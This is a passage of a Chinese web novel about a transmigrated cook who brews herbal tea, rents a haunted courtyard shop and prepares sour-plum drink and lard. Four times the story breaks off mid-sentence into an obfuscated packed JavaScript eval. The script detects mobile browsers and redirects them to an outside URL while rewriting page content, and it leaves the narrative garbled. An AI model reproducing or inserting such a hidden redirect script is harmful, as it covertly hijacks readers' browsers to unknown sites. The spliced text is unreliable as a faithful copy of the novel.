他上前一步拉住白景，面带期盼：“白小姐，能否为我引荐这位大师？” 白景：啊这……差了几百上千年，想也没办法呀。 面对这个请求，她只能委婉道：“那位大师不在这世间。” 老医师闻言自然而然地以为对方已经离世，不由得长叹：“生不逢时啊！奈何奈何，不能与那位大师相交，人生一大憾事。” 不过这种事并不少见，他也只是感慨片刻就冷静下来，只是难免还是有些郁郁。 说话的功夫，白景已经把药材都处理好，示意小学徒起锅烧水了。 到了这一步，众人纷纷找借口避出门外。 根据配方，这道凉茶还需“三花三草一叶”再配上一定量的水和糖。 “三花”为菊花、金银花、鸡蛋花；“三草”为甘草、仙草、夏枯草；“一叶”就是布渣叶。 四碗清水煮成一碗半，有清热解暑、除湿生津的功效，对口干咽痛也有缓解作用。 前提是，能顺利煮出来。 * 夜色降临，吃过晚饭的几人围在桌子前，上面只摆了一碗红橙明亮的凉茶，似在水中舒展的红茶，晕染出别样的色调。 温老盯了半天，才缓缓道：“茶汤澄澈，闻之微甘，应当不会太难吃。” 老医师伸手轻轻扇动，分辨着里面的材料：“还加了金银花、甘草……都是清热下火的好药，吃起来对症。” 赵师傅也道：“各食材……药材味道融合得恰当不突兀，火候方面没有问题。” 几人对视一眼，温老试探着伸手：“尝尝？” 另外两人点头：“尝尝。” 旁边的小厮立刻摆上四杯茶盏，从碗中舀了些凉茶入杯中。 白景也跟着端起一杯，轻轻吹去热气，微抿了一口。 只一口，她就忍不住皱起眉头，还是太苦了。 温老等人也各自试探性地喝了一小口，凉茶才刚入口，他们就忍不住露出惊讶之色。 凉茶在众人的认知中就是苦，名为茶实为药，这么多年也就当药喝过来了。 但今天喝到的这口却少了浓重的药味，相反口感绵柔，食之甘苦，既保留了凉茶的本味又去除了难忍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763929|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦涩。 温老率先干了一杯，不用小厮帮忙，自己动手又舀了满满一杯吨吨吨喝了。 “凉茶要是都有这般滋味，便是让老夫当水喝都行！” 老医师也捋着胡子赞不绝口：“不愧是医门大家研制出的方子，竟能兼顾味道的同时还不影响疗效，妙啊！” 白景听见他们一边倒的夸赞，心里也是松了口气。看来这次尝试是顺利完成了，没有出现厨房事故。 “去给老夫换个大杯，不，直接上大碗！我要一口气喝个痛快。”温老年纪不小，却是中气十足，喊起话嗓门大得很。 老医师和赵师傅也跟着要了一碗，三人就着不大的桌子，咕噜噜喝了个水饱。 白景习惯了前世类似饮料的凉茶，对自己熬出的这锅苦味明显的凉茶有些喝不下去，见他们又倒了碗慢慢喝着，就起身装了一壶，拿盖子封了装进食盒里。 “这次煮了不少，我让人退了柴，等晚些凉了口味更佳。”说完提起水壶往外走，“我给阿娘带一壶，先走一步。” 白景走后，赵师傅喝凉茶的速度慢下来，有一口没一口地抿着，一看就知已经神游天外。 温老看出他有话要说，却也没催，慢悠悠地品着碗中滋味独特的凉茶。 等到碗中茶汤下了大半，赵师傅才试探性地问：“她到南州找到地方落脚了吗？” 这话说得含糊，但温老还是听出了他的言外之意。 不过可惜，“老白生前有个弟子在南州安城开了家酒楼，她们此行正是去投奔他。” 赵师傅依旧不肯放弃，忿忿道：“从前只知道白百味有个衣钵传人，从未听说还有个在南州的弟子，想来厨艺也不怎么样。只怕那酒楼小得连各式调料都凑不齐，哪比得上咱们府上食材齐全。” 温老听到这堪称无理取闹的说法，斜睨他一眼，调侃道：“动心了？” 赵师傅理直气壮：“这般天赋与巧思，谁不心动。就是那些老家伙见了，也想跟我抢徒弟！” 温老把空碗一撂：“这事没戏，只看这几日做的菜式佳肴，就能看出她以后多半要走她父亲的路子，说不定啊，还能更进一步，做出个‘一菜千味’来。” 他拍拍赵师傅的肩膀，“你啊，还是死了这条心吧。” 理是这个理，但在厨师一道上跌跌撞撞大半辈子，临到老了好不容易才遇到这么个好苗子，就这么放走，他这心里也放不下啊。 * 顺流而下，从京师到南州说近不近，说远也不远，转眼间就进入南州的地界了。 白景只觉得这段时间赵师傅出现的频率有些过于高了。而且还喜欢给她做各种吃食，一样样全都是硬功夫，惹得她又是惊叹又是眼热。 不过，她怎么觉得最近赵师傅的行为，有点……卖弄？ “卖弄？对着你？”白母对她的说法嗤之以鼻。 白景也觉得这形容怪怪的，“可能是在船上待久了，脑子晃晕乎了吧。” 谁知在对话发生的第二天，她就被憋不住的赵师傅‘私聊’了。 “我想收你为徒，只要你答应，一身所学绝不藏私，这些年的人脉交情也尽数交给你。”赵师傅绷着脸说出这番话，心中却为自己不够委婉的话哐哐撞大墙。 白景骤然听到这消息，表情差点没崩住。 不过，她看了眼进度已经到100%的美食系统，考虑再三，还是坚定地拒绝了。 只有她一个人可见的系统面板上刷出几条消息： 【滴！美食系统充能完毕，正在启动】 【滴！请宿主尽快获得一家门店，为后续任务做好准备】 【滴！系统激活奖励：[食神世界的酸梅汤配方*1]，已发放至背包，请自行查看】 8. 落户小院 进入南州地界的第四天，白景一行人就要下船了。 从前一天开始，白景就在房间里整理东西，其实她带出京城的东西并不多，只是在这船上一个月，交了几个朋友，他们都送了些礼物给她。 还有厨房里的一众学徒帮厨，都送了东西，称是多谢她指点的谢礼，多次推拒不成，也只得收下。一来二去，行礼非但没变少，反倒比上船前多了一倍。 傍晚，白景正在房间里做最后的清点，就听到门外传来规律的敲门声。 打开门一看，竟然是赵师傅。 “赵师傅，您怎么来了？快请坐。” 赵师傅站在门口没动，虽说他年纪大了，但孤男寡女，还是得顾忌着点。 “不用了，我说几句话就走，不用麻烦。” 没等白景接话，他就拿出一封信递过来，“我与安城最大的牙行掌柜相熟，你到那边之后就把这封信交给他，他自会给你找个合适的院子落脚。” 他顿了顿，才继续说：“虽说你师兄在那边，但多年未见，防人之心不可无。若是顺顺利利的，自然皆大欢喜；如果有不便之处要搬出来，有个熟人也好办事。” 自从上次拒绝赵师傅收徒之后，两人就不尴不尬地处着，没想到…… 是她心胸狭隘，以小人之心度君子之腹了。 “赵师傅，这怎么好意思呢。”白景退后一步，没有收。 赵师傅又递过来，道：“你的天赋很好，到了安城要专注厨事，这种杂事能省心点就省心点。只望你莫要荒废了自己的天份。” 话说到这份上，白景也说不出拒绝的话，只能接过信封，暗暗把这份关切记在心上。 她认真地保证：“我会的。”又玩笑道，“说不定，以后您这南州第一厨的名头还会被我抢走呢。” 赵师傅便也笑了：“若真有那一日，也是好事。我这把老骨头，这辈子也就这样了，你还年轻，未来的路还长着呢。” 话已说尽，赵师傅也不是什么擅聊的人，又叮嘱几句就转身离开了。 * 次日午后，船靠岸。 温老亲自带人送白景一行下船。 “景娘，我有个学生在南州还算说得上话，正好这两年也在安城附近，你若是有麻烦，可以去寻他。”说着从袖中拿出一封信并一块玉佩递给白景。 临别在即，白景没有拒绝他作为一名长辈的好意，小心收起信物，郑重地行了一礼。 “等我安顿好，就给您报平安。” 温老自是应下。 又点了两名护卫帮她们搬运行礼，送她们下船，还顺便把租车的活也包了。 坐上前往安城的马车，白景掀开帘子给两位侍卫递了一包糖：“听说二位家中尚有老父幼子，这糖老少皆宜，便带回去甜甜嘴吧。” 若是钱财之类，他们定是不会接受，但只是吃食……两名护卫对视一眼，接了过去。 “白小姐慢走。老大人让我等带话，若有需要，可遣人到定城温府报信。” 白景颔首：“代我向温老致谢，日后景娘定亲自上门拜访。” 车帘垂下。 “驾！” 随着车夫一声赶车的吆喝，滚滚车轮扬起尘土，白景一行踏上了新的归途。 * 一路无惊无险，除了路不平颠得难受，倒是顺顺当当。 只是在落脚的时候出了意外。 “啊，你们说的是张家酒楼吧，已经没了好几个月了。” 白景机敏地递过去一把小零嘴，微皱着眉苦恼道：“我阿爹与张叔相识多年，临去前让我们母女并家中老伯来投奔张叔，去年还通过消息呢，怎么突然就……唉，这回连个落脚的地方都难找了。” 那小贩接过零嘴，有一口没一口地吃着，给这几个外乡人解释：“看到那间酒楼了吗？”他往斜对面一努嘴，都不用多找，一眼就能看到那座比周围高出一截的两层高楼。 “今年新开的会宾楼，开业当天又是放鞭炮又是舞狮，好大的阵仗，听说供奉的大厨是京城请回来的，连衙门里的大人都喜欢去。”那小贩眼中是止不住地羡慕和向往，“你说说，张家那小酒楼能跟那边比吗？” 白景自然明白一个优秀竞争者的影响力，但俗话说，鼠有鼠道猫有猫道，两家酒楼的定位，从规模上就能看出不同，不至于挤兑得连大半辈子攒的家底都抛了吧。 说到这个，小摊贩就说不出所以然了，倒是刚好过来买东西的客人说了几句： “张家生意做得红火，就想往上窜窜，谁知关系打点好了，菜品也花大价钱研究完了，那酒楼开张了。” 白景一听这话就明白了。 张家酒楼扩展升级，正撞上大佬空降，这时放弃沉没成本太高舍不得，抱着侥幸的心理去碰一碰，结果却撞了个头破血流。 “那张大厨人呢？”白景追问。 酒楼卖了，手艺总还在，就这几个月不至于饿死吧。 小贩挠了挠头，带着几分市井流言的随意：“听说回老家去了。”再多说就是羡慕了，“好歹也是一间酒楼，卖的钱回老家能买不少地了吧。” 白景笑着向他道谢，退后几步带着福伯回了不远处的马车。 把这件事跟白母一说，她就免不了带出几分愁绪：“那现在怎么办？眼看着已经半下午，连个落脚的地方都没有。” 白景掀开帘子在周围张望一圈：“天色还早，福伯，我们先去找牙行找人。如果今天就能租到合适的房子，那自然最好，若是不行，就先在附近的客栈住几天。” 于是，一行人又调转车马往牙行而去。 * 白景他们的运气不错，今天正好是那位掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763930|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜当值。那封信递进去没一会儿，掌柜就亲自出来将他们迎进去。 再得知他们是与告老还乡的温老大人一同来的南州，那态度更是客气不少。 “原是温老的故旧，失敬失敬。” 见他误会，白景也没有解释，将错就错地认下了这面虎旗。这时再说起租院子的事，就方便许多了。 掌柜的直接把内部的登记册拿出来，让她翻阅。 “这些院子地段不错，大小也合适，您瞧瞧。” 白景接过册子翻了个遍，倒是选中了那么一两个，但等到了地方转两圈，又多多少少都有不如意之处。 “掌柜的，还有合适的院子吗？最好是临近吃食铺子，方便做生意的。” 这回掌柜沉默了不短的时间，只才斟酌着开口：“倒是还有一个院子，位置巧妙，布局也精巧，而且简单拾掇拾掇就能搬进去，只是……”他脸上露出难言之色。 “只是什么？” 掌柜道：“那院子有些晦气，里头死过人，后来这些铺子也是开一家倒一家。大家都说那里有死鬼的冤魂在占地盘。” 白景已经从系统那里确定，这就是个普通的古代世界，什么神神鬼鬼的，那是真.传说。 受过现代教育熏陶的无神论者也不信那一套，去那院子转一圈之后，她更是处处满意。 两进的院子，还带着一个不小的厨房，后院中有一口水井，前头因为常做铺子的缘故，把半个院子也改建了进去，挤一挤甚至能摆下十几张食桌。 简直没有比这更合适的地方了。 白景一行急着落脚，房主急着脱手，双方都没就价格多扯皮，确定了一些租房细节后就马不停蹄地定下了一年的租期。 太阳还没落山，白景手里就捏着一张官府盖了印的契书，这便是这个时代的租房协议了。 “这就好了？”白母惊奇地翻看着手中的契书，想不到一大难题就这么轻易地解决了。 白景简单擦了擦凳子，就坐了下来，脸上也露出些许松快，闻言笑道：“寻常找房子哪有这么轻松的，多亏了赵师傅的荐书，又赶了巧。” 白母丝毫没在意她的冷水，继续喜滋滋地笑着：“解决就好，解决就好，这说明咱们时来运转，否极泰来了。以后啊，日子会越过越好。” 白景也是心情舒畅，站在门口看了两眼：“福伯，明天找块木板子，咱们把店名给定下来。” 与此同时，耳边传来系统熟悉的电子音： 【滴！检测到宿主已获得一家门店，请尽快完成新手任务】 【滴！新手任务1：未来的食神怎么能没有属于自己的美食店呢，请玩家尽快开一家美食店吧，任务奖励：二十斤冰糖】 【滴！新手任务2：钻研美食需要资金的支持，请玩家尽快赚到一千文钱，任务奖励：麻婆豆腐】 9. 购买食材 这个院子的位置很不错，或者说附近这块地段都很好。 往南是货物集散之地，这里就是商队进城的必经之路；往北是大商铺聚集点，附近做活的人基本都到这里寻摸吃食。 坐拥道路交汇点与人流量，只要有一门不差的手艺，就基本能养活一家子。若非这院子实在邪门，也轮不到白景来捡漏。但饶是如此，这租金也比原计划的高了整整三成。 舟车劳顿，几人也没心思挑剔，简单打扫一下就住进了小院。 厨房里的一应物品都没时间去买，白景就带着福伯去附近的食铺里买了些许吃食先垫垫肚子，把今天先打发过去。 “福伯过来坐，之前在船上不是都一起了嘛，快过来。” 下了船住进院落里，福伯又有点固态萌发的苗头，白景逮到机会就要喊他一声，希望早日让他习惯新生活。 白母也跟着劝说：“小景说的对，阿福你从小跟着夫君，现在又看顾着我们，若是你不嫌弃，以后我们就以兄妹相称。” 福伯连声道：“不敢，阿福怎么能冒犯夫人和小姐呢。” 几人又是一番拉扯，最后还是白景以寡妇门前是非多为由，让福伯认下了远方表哥的身份。 本以为这段饭能顺利了，但没想到白母又出了状况。 她本就身体虚弱，又是连日赶路，路上也只是以干粮垫肚子，现在沾了点荤腥，胃里就不大舒服了，只是为了不扫两人的兴致才勉强忍着。 白景却一眼就看了出来，却苦于暂时没有解决之法，只能眼睁睁看着，心中暗暗着急。一来二去，赶紧赚钱的心思越发坚定。 * 做生意最重要的是看准市场、明确定位，之前的张家酒楼就是因为定位混乱，上不去下不来才导致破产。 次日，白景起了个早，简单洗漱后就溜溜达达地上了街。 除了市场，竞争对手也是不得不考虑因素，他们一行初来乍到，人生地不熟的，在初期很难跟做出了口碑有回头客的摊子争抢，不如一开始就瞄准市场空档，与其他商贩形成隐性的合作关系。 毕竟生意场上，多个朋友总比多个敌人好。 白景从街头逛到结尾，路上还买了个饭团充饥，等她原路返回时，小院旁边卖烧饼的摊子已经卖得差不多了。 “姐姐生意不错啊。”她直接包圆了剩下的七八个烧饼，却没直接走，反倒站在边上与老板娘搭起话来。 按照往日的情况，客人越来越少，这七八个烧饼还得再卖两三刻钟，现在被白景买下，她也能早点收摊休息。 本就对客人带着笑的脸，这下更是从眼底就透出和气，老板娘闻言笑着回道：“只是赚点辛苦钱，比不得小娘子日日富足。” 白景现下虽衣着朴素，但脸上身上露出的皮肤光滑细腻，一看就不是风吹日晒的人家能养出来的。 白景只抿嘴笑了笑，继续把话题往目的转，她状似随意地抱怨道：“我今日起了一大早，本想喝点汤水通通肚子，谁知从街头走到街尾也没见几家，半路啃了个饭团子可把我干得不行。” 老板娘一边擦着案桌一边回道：“娘子是刚来的吧。咱们这儿早上都是来去匆匆的人，顺路买点也就边走边吃了，汤汤水水的烫口，得坐下慢慢吃，谁耽搁得起啊。” 白景若有所思，见老板娘也快收拾好了，便做出离去的姿态，不过走之前还问了句：“午后这么热，不知哪里有好喝开胃的饮子卖？” 老板娘将最后一块老面收进盆中，想到这日渐炎热的天气，也没忍住抱怨一句：“隔壁街倒是多得很，只是一碗饮子二十文，这哪是咱们能喝得起的。自家做吧，没有配方哪里能煮出好喝的饮子来，家中做了两次，银钱花进去不少，结果出来的全是捏着鼻子才能灌下去的怪味汤。” 白景道：“姐姐家中能有做两次饮子的闲钱，想来生意很是红火。等攒够了银钱，送娃子读些书，以后说不定还能被人称句‘老夫人’呢。” 被隐晦地奉承了一把，老板娘脸上笑开了花，连声道：“可不敢想，我家那泥猴能学几个字，到隔壁街当个风吹不到雨打不着的账房，我就心满意足了。”话虽如此，但也没见她止住笑脸。 “对了，姐姐可知哪里能买到实惠的乌梅山楂等物？家中母亲苦夏，吃不下饭食，想给她做点开胃的茶水。”白景微垂下眉眼，天生自带的亲和之气让她的话显得很有说服力。 “哎呦，那你可问着了！”老板娘一拍大腿，“我正认识一个商贩呢，之前都是给张家酒楼供货，今年酒楼倒闭，他手里也积了一大堆货卖不出去，这些日子正犯愁。” 像是怕白景怀疑，她不停嘴地补充道：“都是自家种的好东西，在附近这片都是有名，娘子要是买多还能先试用。” 白景得了确切消息，把烧饼拎回小院后，就提了一个篮子跟老板娘去找那商贩。 * “张麻子，我给你带生意来了！”老板娘远远地就扯着嗓子喊了，等走到一个院子的门就打开了。 一个脸上带着麻子的中年男人窜出个脑袋，左看看右看看：“生意在哪儿？我张麻子的货以前可都是供给酒楼的，谁说起都是这个。”他比划了大拇指，脸上带出些自得。 老板娘直接打断了他的吹嘘：“那都是陈年往事了，你要是能把生意做进会宾楼，那才算是本事呢。” 张麻子瞬间卡壳，脸上讪讪，眼睛一溜看到跟在对方身边的陌生面孔，忙殷勤道：“这就是我那生意？” 白景上前两步，笑道：“张老板。” 张麻子一听这称呼，脸上就软了大半。 这称呼，听着真舒坦。 “小娘子要什么，只要我张麻子有的尽数给你拿出来，便是没有的也能给您拿到货。” 白景也不拐弯抹角，直接说了需求：“烟熏乌梅、干山楂、乌枣各五斤，红豆蔻两斤，甘草、陈皮各一斤。”她略一沉吟，“暂且先这些吧，若是成品不错，再来订大货。” 张麻子头一回见到这样的订单，如果说他凭经验还能猜到几分是某种方子，那老板娘就真是一头雾水了。 她不知道具体价钱，但也听过甘草、陈皮这种常见药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763931|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材，忙劝道：“这又是零嘴，又是药材的……小娘子啊，你可别被人骗了，这药材可不便宜呢。” 白景轻轻摇头：“就订这些，阿娘吃不下饭，为人子女的，总得试试才能死心。”又冲着老板娘笑道，“说不定真能被我碰巧搞出个好方子来呢，到时候我就在姐姐旁边开饮子店，正好与你家的烧饼搭配着卖。” 老板娘却没把这话当真，谁家方子不是一代代改良当传家宝口口相传，哪能就这么轻易撞出来。 不过伸手不打笑脸人，她劝也劝了，说起来也就是半日的交情，不好再多说什么。 白景含笑看着张麻子：“张老板，我这些货能当场拿出来吗？” 张麻子眉头一皱：“干山楂、乌枣好说，红豆蔻陈皮也有存货，只是这乌梅必得烟熏的？还有甘草，我得去药材铺子拿货。” 白景态度委婉而坚定。 张麻子让开门，引着两人进屋：“您稍坐，我去我兄弟那头看看货。”他给人倒了两碗水就径自出了院子。 索性白景的运气不错，只等了半个时辰，张麻子就提着一个布包走了进来。 他抹了把汗，小心放下布包，走到水桶旁舀了一瓢水咕嘟嘟灌了下去，然后才走进内室取了几个木盒子出来。 张麻子当着白景的面摊开：“您验验货。” 白景细细翻看了一遍，不是顶好的货，但在这个市场定位下也算得上佳品了。 见她笑着点头，张麻子忙用称一样样称好，再用油纸包好递过去：“白小娘子，您瞧，是不是这些数？” 白景面上带笑，但手中掂量的动作也没少，待一个个验过货之后，才露出明显笑意：“张老板厚道。” 张麻子从桌子底下抽出算盘：“乌梅30文一斤，烟熏乌梅再加5文，计175文；乌枣20文一斤，五斤就是100文；干山楂15文一斤，这是75文；红豆蔻就贵了些，40文一斤，两斤就是80文；至于这药材价就更高了，甘草每斤100文，陈皮80文，您各买一斤，得有180文；给您抹个零儿，合计600文。” 白景快速回忆了系统给出的方子，占了大头的陈皮和甘草用量极少，这次买回去能用一段时间了，算起来煮一次酸梅汤的成本大概在100文以内，并没有超出她的心理价位。 于是张麻子就见这陌生的小娘子几乎并没有犹豫，像是看不到这将近一般人家大半个月花销的价钱似的，一样样将东西都收进了随身的篮子里，又掏出钱袋取了半角碎银出来，又从腰间荷包拿了二十个铜子儿，一齐堆在桌上。 “您称称，可对数？” 自张家酒楼倒闭，张麻子已经许久没有见到用银子的生意，眼睛立时便亮了几个度，忙不迭进内室拿了称银子的小称，仔仔细细称了好几遍。 “没问题，就是这个数。”张麻子脸上笑开了花，“小娘子下回再来啊，我家的东西出了名的真材实料。” 白景提着篮子跨出院门，微笑着应下。 ——今晚就开始熬制酸梅汤，晚上就放在井水里冰着，明日就能开业了。 10. 熬制猪油 酸梅汤这东西说起来简单，但要做出特色来却没那么容易。 尤其是白景准备靠它作为初期的主打招牌，更是不能随便一煮。 酸梅汤作为夏日流行的饮品，她前世没少煮，仅仅是方子就搜罗了十几种，出去摆摊都有不少回头客，个个赞不绝口。但对比起来，还是系统给出配方更胜一筹，别的不说，配料就多了几种。 白景打算先用系统的方子煮一锅试试水，如果不好喝就换成前世最受欢迎的那一款。 根据系统介绍，这酸梅汤方子来自食神世界一位厨神，在那个世界曾被原住民称为夏日必备饮品，方子公布后几乎达到人手一杯的，堪称国民级饮品。 白景看了眼天色，先取出一小把烟熏乌梅用水泡上，这一步是为了把烟熏味尽数浸出，也能稍稍减弱乌梅的酸味，便于后续调味。 “这就好了？”白母不放心，在她进厨房后一直靠在门边看着，见她一副擦擦手就要出来的样子不免有些疑惑。 白景放下卷起的袖子，扶着她往椅子走去，边走边给她解释。 烟熏乌梅要把烟熏味泡出大概需要20分钟，时间短了烟熏味没有尽数出来，煮出来的酸梅汤会带着烟味，时间长了就会导致酸味过弱，缺了开胃的酸。 她在桌角竖起一只沙漏，提笔记下要添置的物品，等两张清单写完，时间正好差不多。 等她再走进厨房，浸泡乌梅的水已经染上了颜色，白景仔细观察，见水呈现深黑色，才满意地点点头，这便算是泡好了。 之后又用清水洗了几遍，把残留的颜色和烟熏味洗去，等水变得干净就把乌枣、干山楂、陈皮、甘草、红豆蔻一起放入，用水过几遍，洗去表面浮尘，然后才一起放入大大的砂锅之中。 “熬制酸梅汤不能用铁锅铜锅，就要用这种砂锅，味道才对。”白景一边说一边往砂锅里倒水。 清澈的井水冲入砂锅之中，在重力的作用下直接下涌将沉在底部的材料卷了上来。乌黑的乌梅乌枣、还带着红色外皮的山楂、黄色的陈皮，还有沉沉浮浮的红豆蔻与甘草，统统裹了一层清亮的水膜，让原本有些暗沉的颜色登时鲜明起来。 “我来烧火。”白母见此捋起袖子就要来帮忙。 白景忙拦住她，解释道：“还没呢，至少得泡三个时辰，这样才能把香味都激出来。”她从旁边取了纱网把砂锅罩上，转身往外走，“我们正好趁这时间去把该添置的东西买了。” 他们行礼不少，但日用品在船上已经消耗得差不多，急忙忙的也忘了添置，更别说开店要用的碗筷桌椅了。 装修就是无底洞，这一点古今皆通，所以白景也没打算现在就收拾店面。 正好来往的客人都是来去匆匆，初期就和其他摊子小铺一样，以打包为主，不设桌椅座位。 * 以她们现在的身家去隔壁大街也只能看看，是以白景没有选更大更全的大街，而是从老板娘梅姐那儿打听到最近的小集市。 那里都多是些小摊小贩，东西次了些，但价格上也更能承受。 这次要买的东西不少，白景就带上了福伯，还从隔壁借了两只大篮子装东西。 “也是不巧，前两天刚过了赶集日，你如果早几天来就能赶上好时候了。”梅姐也提了一个大篮子走着，一边走还一边给白景介绍，“下次赶集就要七八天内后了，咱们这儿每月逢八集会，到时候我叫你啊。” 白景笑盈盈的，一看就特别真诚：“那敢情好，病了这大半年，上次去集市都好久之前了。” 地方离得不远，说话间就到了小集市。她并没有像很多人逛街那样四处走走逛逛，带着列出的清单直奔目的地。 买菜得早起才能挑到好的，现在都是半下午了，基本没什么新鲜完好的菜，所以她这次出来瞄准的都是漏勺端子面粉这种不会有多少变化的货物。 他们一行人个个提了大篮子，一看就是来大采购的，本被太阳晒得燥热的摊贩立刻热情起来。 “两位娘子，来这里看看啊，新鲜蔬菜便宜卖了，只要半价就能回家，最适合你们这种勤俭持家的娘子了。” “看看我这边，都用水泡着呢，一点也不蔫巴，小娘子不来点儿？” 白景走过去一瞧，果然都是些残次品，便摇摇头没再停留，直接穿过两旁的菜摊子往卖手艺品的地方而去。 她发现这个集市虽小，规划却没落下，卖新鲜蔬菜的、卖鸡鸭鱼肉的、卖干货山珍的，还有卖手工品锅碗瓢盆的，都各自分好了区域，也免得初次过来的人无头苍蝇般找不到地儿。 白景不是个擅长杀价的人，不过正好这次带了福伯一起，她挑选物件福伯砍价，分工合作之下，不到半时辰就买好了必需品。 梅姐是这里的常客了，有固定的合作摊子，没一会儿就买好了货品，回来打量着白景买的物件，一边数一边啧啧称奇：“端子、漏斗、碗……哎呦，你连竹筒都买了不少，真准备卖饮子？” 白景抿唇一笑，没有接话，反道：“梅姐这面粉哪里买的，品相这样好。” 梅姐本也就是随口感叹，听她问题立刻就被转移了话题，指了指身后：“李家铺子的，他家面粉品质产量都稳定，正适合我们这行的长期合作，价格上也能便宜些。你若是喜欢我就匀你两斤。” 白景便道：“那就谢谢梅姐了，我等会儿去买点骨头，晚上炖骨头汤，梅姐也来尝尝我的手艺。” 梅姐听了这话，嘴角笑意也更真切了些，她这一天忙前忙后地帮衬，虽说本也没指望什么回报，但谁都希望自己帮的人是个记恩的。 当即便一口应下了：“行，正好家里还有些炊饼，到时候就带着一家子过来蹭饭了。” 白景又细细问了她家的人口、口味等，飞快在心里确定了菜单。 天气炎热，太油腻的也吃不下，便定了酸菜骨头汤。至于主食，正好小院中有一棵槐树，就做道槐叶冷淘吧，清凉爽口，正适合夏天。 * “阿娘，我们回来了。”白景一进门就叫了一声，本在厨房换水的白母忙放下水盆走出来。 白景避开她伸过来接篮子的手，小心地放在了桌面上，里面有一斤鸡蛋，可不能被磕碰了。 她一边往外拿东西一边说：“福伯，帮我摘些好的槐树嫩叶下来，用水泡上，我等会儿要用。” 白景买了不少东西回来，幸好厨房地方大，还有专门摆放食材的柜子，不然又是一笔开销。 今晚的两道菜品中，骨头汤需要的时间久，白景预备现在就炖上去，小火慢炖几个时辰，到了晚饭时间正好是最香浓的时候。 她收拾完东西，打发白母去还了篮子，自己掀了纱网查看酸梅汤食材的浸泡情况，又沾了一点水尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763932|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了尝味道。 没有加糖的材料只有较重的酸味和药材的微微涩味，白景不喜欢药味，甘草就加得极少，需要仔细品尝才能品出一点点甜。 “看来冰糖不能少啊。”白景用意识打开收起来的任务面板，上面两个新手任务还在一闪一闪的。 她的视线聚集到任务一的奖品上：二十斤冰糖。 ——已经买下了院子并铺子，但任务还算是没有完成。 或许是缺了块招牌？ 白景抓了把酸菜泡洗菜盆，细细清洗每一片菜叶子，一心二用地想着怎么拿到任务奖励。 洗净的酸菜被放入碗中备用，接着开始清洗骨头和肉，这个时间点，像排骨这种好肉好骨头早就被人买完了，她这回用的是半斤肥肉一斤瘦肉再加一文钱一根的棒子骨。 好在肉铺的保鲜工作做得不错，再加上天气也没热到那份上，这些肉都还算新鲜。 白景只用水洗了两遍，若是换了排骨就要多泡一会儿，好逼出里面的血水，免得影响口感。 一应物品都准备好，但在起锅烧油的时候出了点麻烦，许多没用的灶台要先热灶，这又是一番功夫，等真正能下锅的时候，已经是半个时辰以后了。 骨头和瘦肉都放入锅中过了一遍水，捞出洗去浮沫后放在盘中备用。 剩下的肥肉被切成长长方方的条状，白景在锅中倒了些许清水，放入肥肉后又加了一点，使其没过一半肥肉，等肥肉微微变色就快速捞出，洗去浮沫后换了水又重新放入肥肉，这样加了水熬出来的猪油雪白细腻，也更香些。 当水分渐渐变少的时候，底部就开始出油了，白景用锅铲翻动几下防止粘锅，就静静等着肥肉出油。渐渐地，雪白的肥肉裹上了一层漂亮的浅金色，又慢慢转向灿金色，厨房中浮动的肉香里掺入了诱人的焦香，锅中的油也在翻动间越来越多。 等肥肉被炸成深金色，猪油就熬好了，舀出倒入洒了些许盐和花椒的罐子中，剩下被炸干的猪油渣装入到另一个瓷碗里，薄薄洒一小撮盐就勾得人蠢蠢欲动。 白景抽空捻了一颗放进嘴里，酥脆微咸，焦而不苦，这猪油算是熬成功了。 熬制猪油的时候福伯也摘了槐叶下树，正准备泡上呢，就闻到一股浓郁的油香肉香，勉强克制地把槐叶泡进水里，就忍不住往厨房跑了。 而白母在香气不断扩散的时候就已经放下手中的活计，走进了厨房。 “这真是猪肉做的？”她狠狠地吸了两口，浓郁的肉香充满鼻尖，却没有嗅到以往吃猪肉时的怪味。 